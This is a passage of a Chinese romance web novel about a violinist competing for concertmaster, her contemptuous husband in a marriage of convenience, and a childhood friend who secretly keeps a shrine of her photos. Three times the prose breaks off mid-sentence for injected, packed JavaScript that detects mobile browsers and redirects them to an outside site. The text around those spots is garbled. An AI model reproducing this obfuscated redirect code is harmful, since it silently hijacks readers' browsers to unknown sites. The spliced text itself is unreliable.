《他以朋友之名窥伺已久》 1. 第 1 章 晚上八点,申城交响乐团排练结束,陆照霜被指挥朱高远叫去办公室,帮忙纠正了一个新入团成员的演奏问题。 “嗡嗡——”手机震动。 陆照霜心中蓦地一紧,表情却没有一丝变化,直到送走那位团员,她才拿出手机。 果然是来自申城交响乐团的新邮件。 她手指悬在那封邮件上好几秒,才打开。 “尊敬的陆照霜女士: 感谢您参加申城交响乐团小提琴首席职位的初试。经过评审团的认真考核,我们很高兴地通知您,您已成功通过初试环节,进入下一阶段的选拔。” 进复试了。 心中的石头落地,陆照霜长呼出口气,这才发现自己手指都有几分颤抖。 抬起头,就看到朱高远眼里藏着促狭笑意,“收到通知了?连通过初试的这点自信都没有,你还怎么竞争首席?” 朱高远已年过六十,无论是在音乐界还是乐团内都德高望重,大多团员都有些怵他,但这其中可不包括陆照霜。 陆照霜慢悠悠把手机放回兜里,“哦”了一声,“还不是这些天您一直躲着我,搞得我以为结果很糟,感情是您故意吓唬我呢。” “这不是评审团的规矩嘛,毕竟是公开招聘,你是我的学生,我更得避嫌,生怕你提前看出来!” 看到朱高远像个小老头一样着急的表情,陆照霜见好就收,“跟您开个玩笑,这我当然知道。” 她顿了一顿,轻声解释:“其实也不是没自信……就是很怕像上次一样,又出岔子,我真的不想再等五年。” 朱高远叹口气。 陆照霜加入申城交响乐团已有五年,但乐团的席位向来很固定,上次公开选拔首席,还是她刚入团的时候,那次考核她最后输在了复试。 其实,朱高远认为陆照霜的技巧并不弱于别人,只是当时被她母亲章若华的病情影响,心态失衡罢了。 “还是若华给你的压力太大了,只要保持你平时的状态,这次肯定没问题的。” “嗯,我知道,”陆照霜垂下眼帘,并没多聊母亲的事,“老师,我今晚还要去给萧烨接风,先回去了。” 朱高远连忙道:“你们夫妻两也很久没见了吧,赶紧去吧。” 陆照霜走出办公室,打算先去洗个手,结果四楼的卫生间正在维修,只好转身下到三楼。 这个点,团内的人基本都已经走完了,音乐厅内处处寂静,因此,从卫生间内传来的声音就显得极为清晰。 “你怎么回事?初试都过了还这副表情?” “陆大小姐也要参加,你不知道吗?” “她参加怎么了?” “谁知道是不是早就内定给她了。” 陆照霜脚步一停,又是这种闲话……从她加入乐团起,这种非议就接连不断。 好累。 但一秒后,她就长呼出口气,将这种情绪抛掉,脚步坚定地继续向前。 “不能吧……就算陆家再有钱,也不可能买通评审团吧?那可都是业内顶尖的大佬!” 那人嗤笑:“钱买不通,那走关系呢?你进团得晚,不知道,她妈十年前是咱们乐团的首席,朱指挥又是她指导老师,就这个后台,我——” “啪——”卫生间门一下子狠狠撞上墙壁。 那两人正站在洗手台前补妆,没料到这时还会有人,都悚然回头。 陆照霜径自走过去,站在她们两中间的洗手台前,打开水龙头,活像沾到了什么脏东西一样,仔仔细细地洗着手。 语气波澜不惊,“其实这种问题,与其私底下乱猜,不如来直接问我。如果真像你们说得那样,那我五年前就该是首席了。” 她抬起头,透过镜子,看到一人连忙垂下头,另一人则面色铁青地瞪着她。 她和那人对上视线,语气温柔极了,像是再真诚不过的疑惑,“那次选拔唐老师也参加了,怎么跟不记得似的?是怕这次输给我,提前给自己找点失败的借口吗?” 唐颖被气得怒喝:“你胡说什么?” “究竟是谁在胡说?平时造谣我也就算了,我懒得计较,但如果想用这种话来侮辱朱老师的职业道德……” 陆照霜语气微寒,“唐老师,我就不能不跟你计较诽谤罪该怎么告了。” “你阴阳怪气什么呢!”唐颖脚尖一转,怒视着陆照霜,手掌攥得很紧。 陆照霜擦干手指,好整以暇地偏头看她。 但在唐颖冲过来前,另一人已眼疾手快地拽住了她,连拖带抱将她带走。 “陆照霜你有本事就去开独奏会啊,挤在乐团里跟我们抢什么饭碗?我才不是你这种大小姐体验生活的陪衬,首席考核看看到底是谁赢!” 走廊里,唐颖的声音逐渐远去,消失不见。 只剩下陆照霜一个人。 灯光黯淡,她面无表情盯着镜子里的自己,半晌,扯出一个难看的笑。 体验生活吗?好吧,她情愿他们这么想。 手机再次震动,她低头一看。 是郁思弦的微信消息:【我到了,在一楼等你。】 陆照霜赶忙回:【稍等,我马上过去。】 郁思弦:【不急,你慢慢来。】 陆照霜按掉手机,又仔细看了眼镜子,觉得有些太素了,于是补了下口红提气色。 毕竟,与唐颖这点小打小闹相比,今晚萧烨的接风party才是重头戏。 她和萧烨是青梅竹马,24岁那年,通过商业联姻结婚。只是蜜月期一结束,萧烨就主动请缨去加州开拓市场,和她异国了两年,今年才确定回国发展。 萧烨回国的航班就在今天,她因为排练没去接机,现在自然不能不去他的接风party。 她和萧烨的那些朋友们私底下向来玩不到一起,一想到待会要应酬他们,就觉得心烦意乱。 还好郁思弦会和她一起去,她会觉得安心很多。 毕竟他们三人自幼一起长大,曾经是最亲密无间的青梅竹马。 曾经…… 陆照霜摇摇头不再多想,确认自己武装得无懈可击后,背上小提琴琴盒,转身下楼。 偌大的一楼大厅,此时只有一个高大的男人,正站在照片墙前面,打着一通电话。 他穿着质地考究的黑色西服,即便在这种无人处,姿态依旧挺拔如松,仅是背影,都给人一种冷肃矜贵之感。 是郁思弦。 陆照霜下意识张了张唇,本欲叫他,但又莫名噤声。 在她结婚后,郁思弦就逐渐跟她疏远起来。 也许郁思弦是担心异性朋友之间来往太多,会有瓜田李下之嫌,这也是很正常的事情,陆照霜理应不必介怀。 但那是理应。 心上始终残留着些许别扭。 郁思弦却像是听见动静,先一步转过身来。 那是张棱角分明的脸,嘴唇又薄,眼睛安静深邃,像看不见底的湖水,即便架着一副金丝眼镜稍作中和,却依然挡不住骨相带来的锋利感,很容易让人心生畏惧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861630|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知电话是什么内容,那一眼看过来时,满是锋锐凛冽。 但在看到她后,却怔了一怔,瞬间藏锋于鞘。 “阿照。”郁思弦很快挂断电话,主动走过来,声音如冰雪消融,只剩一派无害的温和。 陆照霜连忙迎上去,“抱歉,思弦,久等了吗?” “没有,刚到。”郁思弦简短解释,目光从她肩上扫过,于是向她右肩处伸手。 陆照霜下意识就把小提琴琴盒取下,递给了郁思弦,还顺嘴道:“谢谢。” 说完,陆照霜才发现不对,却只能眼睁睁看着郁思弦轻松提起她的琴盒,然后很自然地看她,“走吗?” 陆照霜:“……” 都是郁思弦从前太照顾她,以至于她到现在都残留着过去的肢体记忆。 “走吧。”陆照霜暗暗叹息,跟上他的脚步。 走出大门,才发现外面下起了小雨,四月下旬的夜晚带着入骨的凉意。 郁思弦微微皱起眉,很显然,这场雨来得太突然,他也没有带伞。 陆照霜又朝远处一瞥,很快找到了郁思弦的车。 他的车很好找,跟追求速度和设计、总喜欢更新换代的萧烨不同,郁思弦的爱好总是执着又专一,向来只偏爱宾利。 估计了一下距离,陆照霜干脆用手挡在额前,“雨不大,我们跑过去吧。” 眼看着她已迈出半步,郁思弦在她小臂上轻轻一握。 力道并不强硬,只是拦住她的动作。 她诧异抬眼,“怎么了?” 郁思弦看着她的打扮,一身真丝衬衫和长裤,很薄的料子,还敞着锁骨和半截小臂。 但在这种天气里,她身体也并未有任何瑟缩,仍旧保持着端庄舒展的体态。 郁思弦知道,这是因为她家教甚严、性格又要强,所以不愿意在人前示弱,而绝非是她不觉得冷。 他很快收回视线,淡声道:“我把车开过来,你在这里等我。” 陆照霜蹙起眉头,实在不能赞同,“不用这么麻烦吧?” 郁思弦手上松开她,平静抛下一句,“别让你的琴沾上潮气。” 这话正中要害,陆照霜只好接过他递来的琴盒,在原地等他。 不多时,车就开到了近旁。 郁思弦撑着一柄黑伞,在她面前站定,伞面向前倾斜,如同一面沉默而坚实的黑色墙壁,完全挡住了被风吹来的冷雨。 他左手递来一只纸袋,“阿照,穿上。” 陆照霜疑惑地打开。 那是一件眼熟的风衣,带着洗涤过后的浅香。 上个月她穿去参加一场圈内聚会,回来以后就不见了踪影。 郁思弦平淡地解释,“你下车的时候忘了拿,落在了我的车上,我一直想还你。” 所以他在清洗过后还一直带在车上,随时准备还她吗? 陆照霜沉默了一瞬,换上风衣,裸露的肌肤被衣服罩住,顿觉温暖了几分。 她清了清自己不知为何沙哑的嗓子,“走吧。” 郁思弦也没再多说什么,撑着伞,先送她坐上副驾,然后折身去另一边,将小提琴放在后座,用安全带固定,防止磕碰,这才坐上驾驶座。 这些事,除了陆照霜自己以外,其他人连记住都觉得麻烦,更别提做得细致周到了。 陆照霜觉得自己很不懂郁思弦。 在她已经接受郁思弦主动疏远了自己的时候,他却又会表现得和过去一般无二。 如同世上最体贴细心的好友。 2. 第 2 章 两人在车上简单聊了几句近况,很快便抵达了夜宴酒吧。 这家酒吧是萧烨的好友杜宇宁开的,装修奢靡浮夸,和酒吧名字一样,是陆照霜完全无法欣赏的类型。 里面舞曲震天响,灯光绚烂交错,舞池内的人群跳得如痴如狂。 陆照霜被吵得头痛,报过杜宇宁的名字以后,侍者领着他们上了三楼包房。 包房内的音乐不比外面小,因此他们推门的这一声,并没有引起众人的注意。 人群嘻嘻哈哈挤作一团,但陆照霜还是一眼就看到了萧烨。 萧烨坐在左侧的沙发上,穿一身冲锋衣,身体前倾,留给她一个散漫的背影。有女孩的长发垂落在他腿间,距离太近了,几乎像在交颈缠绵。 陆照霜脑内一空,只是捕捉到这个画面,胸口就涌起一阵极其凶猛的酸麻。 郁思弦眉头拧紧,立刻低头查看她的神情,低声叫她:“阿照。” 她回过神来,对郁思弦勉强笑笑。 这时终于有人发现了她,“哎嘿,陆大小姐来了!” 屋内被杜宇宁这一声震得一静,萧烨回身看过来。 陆照霜这才发现,刚才那一幕不过是视觉错位,萧烨和那个女孩儿之间隔了一个人的距离,似乎只是在看女孩手机上的什么东西。 也许应该松口气的,但刚才那一幕给她的冲击太强,她此刻还有点反应不过来。 怔愣间,和萧烨对上视线,就见他眼里闪过一丝她从没看懂过的复杂神色。 下一秒,萧烨站起身,径自朝这边走来。 他长相俊朗,又生着一双漂亮的桃花眼,专注看人的时候,很少有人能抵御这种冲击力。 一步、两步……包厢内的音乐声不知为何听不见了,在他一错不错的目光下,陆照霜只觉得心脏都好像被网缚住,在缓慢地战栗着,“萧——” 萧烨却忽而勾起唇角,脚步一拐,转而拍了下郁思弦的肩膀,“好久不见啊,思弦。” 剩下的那个字蓦然被咽进了喉咙里,就好像卡进一根鱼刺,陆照霜浑身都觉得不适。 她听到身边响起郁思弦平静的声音,“好久不见,萧烨。” 萧烨这才姗姗来迟地转向陆照霜,语气中充满兴味,“愣着干嘛,我一月出差回来的时候不还见过,不至于就不认识我了吧?” 陆照霜刚被他虚晃一枪,这会儿并不作答,表情带着微不可查的审慎,像是在衡量他这句话是否还藏着其他陷阱。 她恐怕自己都不知道,她这副模样有多如临大敌。 萧烨哂笑一声,也不给她反应的机会,伸手便将她搂入怀中。 “好久不见,我很想你,老婆。” 郁思弦面无表情,凝视着墙角的一盏壁灯,没有回头去看。 包房里传出此起彼伏的起哄声,“亲一个!亲一个!” 萧烨一把将陆照霜按进自己胸口,懒散扫过一眼众人,“去你们的,别想把我老婆带坏。” 是打趣的语气,但完全是维护的意思,包房内起哄的声音更大了。 无论是萧烨的故意捉弄,还是这群人的瞎起哄,陆照霜都十分厌倦,但木质香和久违的体温环绕着她,她还是心上一软,伸手回抱住他。 感受到落在腰间的力道,萧烨嘴角扬起一个浅浅的弧度,然后半搂着陆照霜在沙发落座。 旁边的人兴致勃勃推来一杯酒,萧烨冷眼飞去,“她不喝酒,给她上杯水。” 陆照霜原本想去端杯子的手僵在半空,闻言又若无其事地收了回去。 郁思弦就坐在他们对面,垂首拿过桌上的茶盏,眼里闪过一丝不解。 陆照霜明明是不讨厌喝酒的,为什么萧烨像是不知情的样子? 这时有人端着酒过来打招呼,郁思弦只是不咸不淡回了一句:“不好意思,我要开车,不喝酒。” 他眉眼间有种浸润多年的孤冷疏离,一般人总是很容易被他这种冷漠吓退。 只有杜宇宁还没皮没脸地凑了上去,“哈哈,思弦,多亏是萧烨回来了,不然我们可叫不来你这个大忙人,怎么样,以后也来跟我们多聚聚?” 郁思弦没说行,也没说不行,只淡淡答了声,“知道。” 甭管这是什么意思,杜宇宁都笑呵呵应下了。 他没再招惹郁思弦这个厌人症晚期患者,转去凑到萧烨那边的酒桌游戏。 游戏走过了好几轮,陆照霜原本不会的,这会儿也学会了。 但她没太大兴致,玩得心不在焉,输了好几轮,罚酒全由萧烨包揽。 陆照霜有些抱歉,决定打起精神,好好玩几局,却忽然看到杜宇宁朝萧烨使了个眼色。 “大家差不多行了,萧哥今天刚回国,真把他灌醉了,我们怎么跟陆大小姐交代?”杜宇宁笑着中断了游戏。 陆照霜神情镇定,只看他是要表演什么戏码。 杜宇宁又道:“怎么样,萧哥,趁醉之前,不得把你辛辛苦苦准备的礼物拿出来?” 陆照霜一愣,就见萧烨似笑非笑看她一眼,拍了下手,便有侍者推着小推车过来。 上面环绕着淡雅别致的花束,首饰盒敞开着,正中间躺着一条精致华美的粉钻项链。 陆照霜僵硬地看着那条项链,感觉自己全身血液都仿佛被冻结了。 在场混迹时尚圈的人不少,立时惊呼出声:“这不是柏妮丝设计师上个月拍出的那条潘多拉之心吗?最后是个匿名买家用一千万美元拍下的,没想到是萧哥啊!” 萧烨笑了一下,并未否认。 他单手支着下巴,偏头看向陆照霜,眼里藏着只有她能看到的戏谑,“让老婆等了我两年,怎么也得有点表示,阿霜,怎么样,喜欢这个惊喜吗?” 所有的视线尽数落在了陆照霜身上,其中有震惊、有感慨、大约也有几分微妙的嫉妒。 只有不远处一道视线异于常人。 郁思弦冷静看着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861631|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幕,眼里含着不易察觉的审视。 陆照霜垂下眼眸,半晌后勾起唇角。 她听到自己的声音,“谢谢,我很喜欢。” 萧烨伸手勾起那条项链,动作随意,仿佛那只是街边随处可见的玩具,而不是上千万美元的贵重珠宝似的,“既然喜欢,那戴上试试。” 陆照霜推拒,“下次再说吧,和我现在穿的衣服不搭。” “怎么会?它很配你。”萧烨轻笑了一声,并不理会她的拒绝,单膝跪在沙发上,侧过身,拢起她脑后散开的长发,将那串冰凉的项链扣在她脖颈。 陆照霜耳边响起一阵短促的嗡鸣。 一个月前,萧烨曾经在电话里跟她说过,这条项链背后有人刻意炒作,卖家和拍卖行杜撰了一段跌宕起伏的爱情故事,最后把这条项链送到了本不该有的地位。 那天萧烨语气讽刺,蔑视卷入这场炒作的所有人。 而现在,他把这条炒作出的项链拍回来,当众戴在她脖子上,他想讽刺的又是什么? 最后一个锁扣落上,萧烨的指腹有意无意摩挲着她侧颈的肌肤,意有所指地强调了一句,“也很配现在的你。” 杜宇宁作为资深僚机,带着准备已久的众人,将礼花和香槟一起炸开。 缤纷的彩带、飞扬的泡沫,在包房暧昧的光晕中缓缓落下。 而他们手牵着手,在众人钦羡的目光中坐在一起,像再相配不过的幸福夫妻。 陆照霜突然明白,这就是萧烨此刻想要讽刺的东西。 * 这场party到凌晨才散场。 郁思弦滴酒未沾,开车送陆照霜和萧烨回江源名苑。 这是申城配套最好的别墅区,三人如今都住在这边,中间只隔了一片人工湖。 陆照霜恹恹地靠着后座车窗,没什么心思聊天,幸而郁思弦和萧烨也只是随口聊了几句彼此近况,就抵达了家门口。 萧烨先下车,双指并在眉心,笑着同郁思弦示意,语气比起酒吧时真挚很多,“又接阿霜又接我的,谢了思弦,改天请你吃饭。” “不用跟我客气。”郁思弦跟着下车,去后座帮忙取小提琴琴盒。 萧烨耐不住性子,先一步去开门。 别墅前的幽静灯光下,只剩下两人。 陆照霜嘴角先一步带上礼貌微笑,伸手去接琴盒,“麻烦你了,思弦。” 一下却没能拿过来,因为对方没有松手。 陆照霜疑惑抬眼。 郁思弦背对着光,眼睛隐在晦暗光影中,看不分明,只觉声音透着一种不确定的疑虑。 “阿照,你今晚是不是不太高兴?”郁思弦问。 陆照霜抓着琴盒的无名指不受控制地一跳。 她今天通过了首席考核的初试,等到了出国两年的丈夫回国,收到了价值千金的礼物。 怎么看,今天都应当很圆满。 可郁思弦却问她是不是不太高兴。 3. 第 3 章 “怎么会?可能是太累了没精神,其实我还挺开心的。”陆照霜下意识笑着回答。 郁思弦注视着她的眼睛,似乎是想从她眼中辨别真假。 陆照霜嘴角笑容有点僵硬,很想别开头,但那样纯属此地无银三百两。 “阿霜?”远处传来萧烨疑惑的声音。 两人间的僵持气氛瞬间被打破,郁思弦松开了手,小提琴落回她怀里。 “抱歉,阿照,是我冒昧了。” “没事,你也早点回去,好好休息。” 陆照霜强笑着和郁思弦作别。 打开家门,萧烨正站在岛台前喝水。 没有了外人在场,他此前的爽朗笑容一扫而尽,目光一寸寸从她身上逡巡而过,带着毫不掩饰的侵略性。 末了,他倚靠着岛台,一边单手解着自己的衬衫纽扣,一边向她伸出右手。 “过来,阿霜。” 宛如撒旦在轻声低哄,要诱骗她做引颈就戮的羔羊。 客厅的灯光明亮璀璨,几乎让人发晕,陆照霜闭了闭眼,还是将琴盒小心放在墙边,一步一步,朝萧烨走去。 在还有两步之遥的地方,萧烨抓住她的手,一把将她拽进怀里,“今天表演得很差劲,阿霜,戴上项链的时候你应该表现得更开心点。” 他又倒打一耙。 陆照霜忽然生出一点抵触,“是你突然做那种事,我已经够配合你的了,萧烨。” 她身体下意识后退,却被牢牢箍住腰部,动弹不得。 “好好好,是我的错,我不该跟你开玩笑,”萧烨没什么诚意地道着歉,嗓音喑哑,带着点笑意,“阿霜,我们的夫妻义务也很久没做过了吧?” 说着,他的右手熟门熟路,已从她衬衫下摆探进去,左手卡住她下颌,迫使她不能不仰起头,承受来自他的亲吻。 他温柔缱绻地厮磨着她的唇瓣,和他手下强势的动作迥然不同。 就像他此刻正与她做着这样亲密至极的事情,眼里却好像并没怎么动情。 陆照霜很快就氤氲起一眼水汽,说不清是来自最真实的生理反应,还是为他此刻置身事外一样的抽离。 萧烨这才恶劣地勾了勾唇,抄起她的膝窝,将她抱到岛台上坐下。 陆照霜忙推他胸口,“回卧室,别在这里。” “又没人能看到,怕什么?” 她这微弱的抗议,很快被萧烨用吻封住,他分开她的腿,欺身压上来。 “唔——”她咬着唇,抓住萧烨的后背,闷哼出声。 他们太久没做过了,她还没做好准备,但萧烨并不给她准备的时间。 陆照霜记不清这晚做了多久,换过多少地方。 在她累到几乎睁不开眼的时候,她听到萧烨的声音附在她耳边—— “就这样,阿霜,我们就这么,互相折磨到死吧。” * 以前不是这样的,直到两年前,他们仍旧是最亲密的好友。 即便萧家率先提出联姻,两家家长开始向他们施加压力,他们仍旧亲密无间。 有时候她下班回到公寓,会发现萧烨就在她家打游戏,一边双手合十恳求“让我躲躲清闲”,一边扔下游戏手柄同她抢味道一般的外卖。 “这群老古董真的是,他们自己都未必是联姻结的婚,却非要逼我们!” 萧烨毫无顾忌地躺在她旁边的沙发上,抱怨到一半,忽然翻过身来,枕着胳膊看她,兴奋地提议,“咱们俩一起反对,他们还能把我们绑到民政局跟前不成?” 那天,陆照霜怔怔看着他亮晶晶的眼睛,却沉默着没有作声。 陆萧两家,前者立足原材料制造与研发,后者专攻新能源汽车,合作关系对彼此都举重若轻。 正因为关系非比寻常,所以,如果陆照霜这次拒绝,她就不会再有第二次有伤两家情面的机会。 她喜欢萧烨,喜欢了很多年,她狠不下心,去亲手断掉她和萧烨最后的可能。 所以她同意了,把选择权交到萧烨手上。 就像萧烨说的,没人能把他绑去民政局。如果萧烨坚定地拒绝,那往后她也不会再有别的念头。 但出乎意料的是,萧烨同意了。 他们两的婚事就这么拍板。 备婚的那些日子,大家都非常忙碌,陆照霜没机会和萧烨好好聊聊,这种感觉一度让她非常不安。 试婚服、彩排、婚礼……那些日子在她记忆里被模糊成混乱的色块,只有新婚那夜是清晰的。 他们坐在繁华落尽后的寂静婚房,因为关系骤然转换,都不知道该说些什么。 萧烨一直用怪异的眼神看着她,很久之后,是他先动了。 他挨着她坐下,手掌盖住她的手掌,然后倾身过来,犹豫不决地贴上她的嘴唇。 过了一会,萧烨开始试探着抵开她的齿关,他似乎想表现得很从容,但实际上他总会磕到她的牙齿。 陆照霜原本很紧张,不过看到他的表情就噗嗤笑了出来,萧烨生闷气一样把她扣得更紧,愤愤地在她唇角咬了两口,力道其实很轻,但又担心她疼一样,小心地舔舐着那里。 那时萧烨做起来,和现在完全不是一个风格。 他们一起生疏地探寻这种新奇的刺激,将过往的朋友关系粉碎得一干二净。 等再找回神智的时候,礼服已经因他的急不可耐而撕扯得不成样子,他们的十指汗涔涔地交缠在一起。 他们的新婚夜和整个蜜月期,都让陆照霜觉得自己被十分珍重地对待着。 那种甜蜜,让她生出一种巨大的错觉——好像她是被萧烨以爱人的身份爱着的。 陆照霜和萧烨已经做过了朋友,也做过了夫妻,但他们还从来没有说过爱。 因此,在蜜月的最后一天,她就着满天夕阳,拉完了一首小提琴曲。 她羞涩地、踌躇地、跃跃欲试地抬起头,试图告诉萧烨这首曲子的名字,却因萧烨的眼神怔在当场。 他交叠双腿坐在床边,支着下巴,眼里满是轻佻的笑意。 “阿霜。” 萧烨叫出她的名字,语气玩味戏谑,“你就这么喜欢我?不惜用联姻也要把我绑到你身边的程度?” 陆照霜攥着琴弓,花了很多很多秒,去理解萧烨究竟说了什么。 然后,那个漂亮的黄昏逝去了,她身体里欣悦的血液也一点点冷下去了。 这是一场报复,陆照霜这才后知后觉地意识到。 萧烨就是为了等这一刻,才对她温柔地笑了那么多天。 五月中旬的天气,陆照霜却情不自禁地打了个寒颤。 那天之后,她以为萧烨会跟她提出离婚。 然而,当航班落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861632|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申城,萧烨忽然拽住了她的手。 他说:“既然是商业联姻,那就要有联姻的样子。” “我会配合你在外面表演夫妻恩爱,所以阿霜,你也要专业一点,别摆出这副不高兴的样子。” 陆照霜不知道自己当时是什么表情,只记得萧烨凑过来,两指按在她唇角,往上一拉,“笑一笑,嗯?” 她一定笑得很难看,但前来接机的人都没有看出异常。 后来,萧烨很快就主动请缨去洛杉矶开拓市场,陆照霜留在申城忙于乐团工作,萧烨偶尔回来,他们便一起表演一番夫妻恩爱。 这就是他们如今的相处模式。 陆照霜不知道,是哪一步导致了现在的恶果,又或者,是她每一步都做错了? * 夜色浓重。 郁思弦已不知道自己在窗边坐了多久。 隔着一片湖,他注视着对岸的房间,暗了,又亮了。 就好像涨起的冰冷潮水,淹没他后又重新退去,在他身上留下湿冷彻骨的触感。 大多数时候,他都拒绝让自己去想,在那些时候、那个房间里,究竟会发生什么。 然而他并没有那样崇高的自控力。 因此他只能一遍遍坠入地狱。 他闭上眼睛,深呼了一口气,来到二楼的走廊尽头,那里有一扇伪装极好、不易发现的暗门。 钥匙转动,推开门,按下灯。 亮起的房间内没有窗户,四壁雪白,简直像装修时偶然漏掉的一个缺口。 然而靠墙的置物架上,密密麻麻摆放着陆照霜送他的所有礼物、他们拥有共同记忆的所有证据。 细绳交缠错乱,挂满了数不清的照片——阿照自己的、抑或是他们的合照,只是无一例外都将萧烨裁了出去。 这是一个被特意营造出的空间,只有陆照霜和郁思弦的回忆。 待在这里,他常常产生一种自欺欺人的错觉,好像他不再只是一个配角,也拥有了一整个和陆照霜共度的故事似的。 真够可笑的吧? 任谁踏入这间屋子,都只会骂他是个疯子。 卑劣的、可耻的、觊觎有夫之妇的、辜负了青梅竹马信赖的……疯子。 如果有一天他的感情被人知晓,那陆照霜身边一定不会再有他的容身之地。 所以他一再隐忍、一退再退,守住朋友的立场,衷心祝阿照得偿所愿、美满幸福。 这样,即便再过去很多很多年,至少他还是可以去听她的音乐会,至少他们还会是可以互相问候的朋友。 但是。 想到萧烨连她会不会喝酒都不清楚,想到那作秀般的一场炫耀。 婚后每次遇见陆照霜和萧烨,都能看到他们两人亲密的模样,他以为他们感情很好。 可如果真的感情和睦,为什么要在那么多外人面前,强迫阿照戴上那条她不想戴的项链? 郁思弦微微蹙眉,几不可闻地低声喃喃:“阿照,我是不是搞错了什么?” 然而这毕竟只是猜测,如果他想得到确定的结论,就需要更多的证据。 他在暗房里沉思良久,才重新锁好门,回到卧室。 透过落地窗,他往湖对岸那栋漆黑小楼望了一眼,然后倒了一杯水,打开药瓶,吞了一粒安眠药下去。 “晚安,阿照。” 4. 第 4 章 陆照霜几乎是被某个滚烫的热源热醒的。 睁开眼,才发现萧烨的手臂环在她肩头,将她牢牢困在他怀里。 这种睡着后无意识的动作,总给陆照霜一种萧烨很在乎她的错觉。 换其他人在她的处境,会怎么做? 陆照霜不知道。 但母亲教导她的人生信条是——人不可能保证自己的每个选择都是正确的,但只要努力,再坏的选择,也会通向正确的结果。 比起前两年那种无从下手的状态,现在的情况已经好很多了。 更何况,当初是萧烨亲口对她说的,“既然已经选择了开始,那我们就互相折磨到白头吧,阿霜。” 这怎么不是一句有关永远的承诺呢? 以永远为界,他们总会有成为正常夫妻的一天。 “呼。”陆照霜闭上眼,额头抵住萧烨的胸口,放任自己沉溺了片刻,就轻手轻脚地拨开萧烨的胳膊下了床。 洗漱过后,她转头就钻进了琴房,找出了两首曲谱,巴赫的《恰空》和柴可夫斯基的《D大调小提琴协奏曲》,这是首席考核复试的指定曲目。 现在没有比这场复试更重要的事情。 她活动了一下手腕,取出小提琴,练习了好一会儿,却始终不能静心。 无效训练没有意义。 她干脆先停了下来,转而拉起另一支烂熟于心的曲子。 那不是任何古典乐,而是乐队“繁星之后”,在十二年前发行的一首名叫《昨日已逝》的单曲。 无论是乐队本身、还是这首歌,都没什么知名度,但一直是她的镇定剂。 不知过了多久,她终于拉得精疲力尽,坐在椅子上发起呆。 “咚咚。”有人敲门。 萧烨在门外叫她:“阿霜。” 陆照霜倏然抬头,心脏好像一瞬间高悬起来。 这一刻,她才后知后觉意识到,也许无数次她拉起这首《昨日已逝》,都是在等待萧烨听出它。 “怎么了?”她尽量控制自己的声线,不要颤抖起来。 萧烨顿了下,才道:“忘了告诉你,两家人今晚一起吃个饭,你记得留出晚上的时间。” 心脏“啪”一下重重摔回胸腔。 陆照霜挤出声音:“……知道了。” “我寄过来的行李还没收拾,我先去理一理。” “嗯。” 脚步声逐渐消失不见。 陆照霜握着琴弓的手无力地垂落下去。 结婚以后,萧烨一次也没来看过她的演出,就像他一次也不曾踏足她的琴房。 * 萧烨说要收拾东西,那不是谎话。 尽管半小时后,他带回来的那点东西就已经安置完毕。 只剩下最棘手的东西——一只密码箱。 萧烨把箱子拎到书桌上,隔着一步远的距离审视着它。 仿佛那是一枚炸弹,靠近便会产生殃及自身的危险性。 密码箱打开,里面分上下两层,上层整整齐齐码着84张音乐会的门票,下层则是快要溢出的一堆木牌。 结婚以后,陆照霜参与的每次音乐会,都会向他寄出一张门票。而等音乐会结束,就会相应地寄来一块当地买的木牌,上面刻着音乐会的时间。 萧烨时常觉得,这两样东西,前者在提醒他应该做什么,后者在提醒他错过了什么。 他脸上没有了惯常的玩世不恭,反而有种异样的严肃。 许久后,他深呼了一口气,重新锁住箱子,将它置于书柜最深处。 * 下午出门前,萧烨接了个来自海外分公司的电话,耽误了一阵,因此他们毫无意外地和晚高峰撞在了一起。 横贯整条街的车流被堵在申城的日落里,陆照霜降下车窗,尽力平复自己焦躁的情绪。 萧烨放着一首后摇,悠闲地靠着椅背,嘲笑她的焦虑,“家里人一起吃顿饭,迟到就迟到呗,你慌什么?” “先不说你爸妈,光是我爸,迟到这件事就够他念叨我的了。” “陆叔叔哪有那么不近人情。” 陆照霜托腮看着窗外,没有回头看萧烨,也没有反驳——不是每个人都像他一样讨长辈喜欢。 等两个人抵达南郊别苑的萧宅,已经到了晚上七点。 晚餐已经准备妥当,萧家父母和陆父都已经在餐厅就坐。 陆照霜将外套放好,走过去,不好意思道:“爸,叔叔阿姨,抱歉,我们来晚了。” 萧母倒没说什么,反而热情地拉着陆照霜坐到她旁边。 “晚高峰堵车多正常,自家人一起吃顿饭,别那么拘束,今天我还给你做了你最爱吃的桂花糕,来,阿霜,尝尝。” 陆照霜和萧烨从小在一个院子里长大,两家人再熟悉不过,她不禁染上几分笑意,“谢谢阿姨。” 